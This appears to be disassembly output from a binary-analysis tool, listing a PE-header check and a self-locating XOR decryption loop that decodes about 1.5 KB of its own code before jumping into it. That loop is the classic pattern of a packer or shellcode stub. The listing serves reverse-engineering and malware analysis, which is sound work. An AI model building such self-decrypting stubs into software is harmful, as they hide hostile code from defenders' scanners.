Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140029c68
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140029c68
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1419fe0e8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1419fe0f2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1419fe11b
pop rbp
sub rbp, 0x33
sub rbp, 0x19fe0e8
sub rsp, 0x20
jmp 0x1419fe13a
mov rax, 0x19fe0e8
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x5178df8d
xor byte [rax], dl
inc rax
dec rcx
jne 0x1419fe159
jmp 0x1419fe170
invalid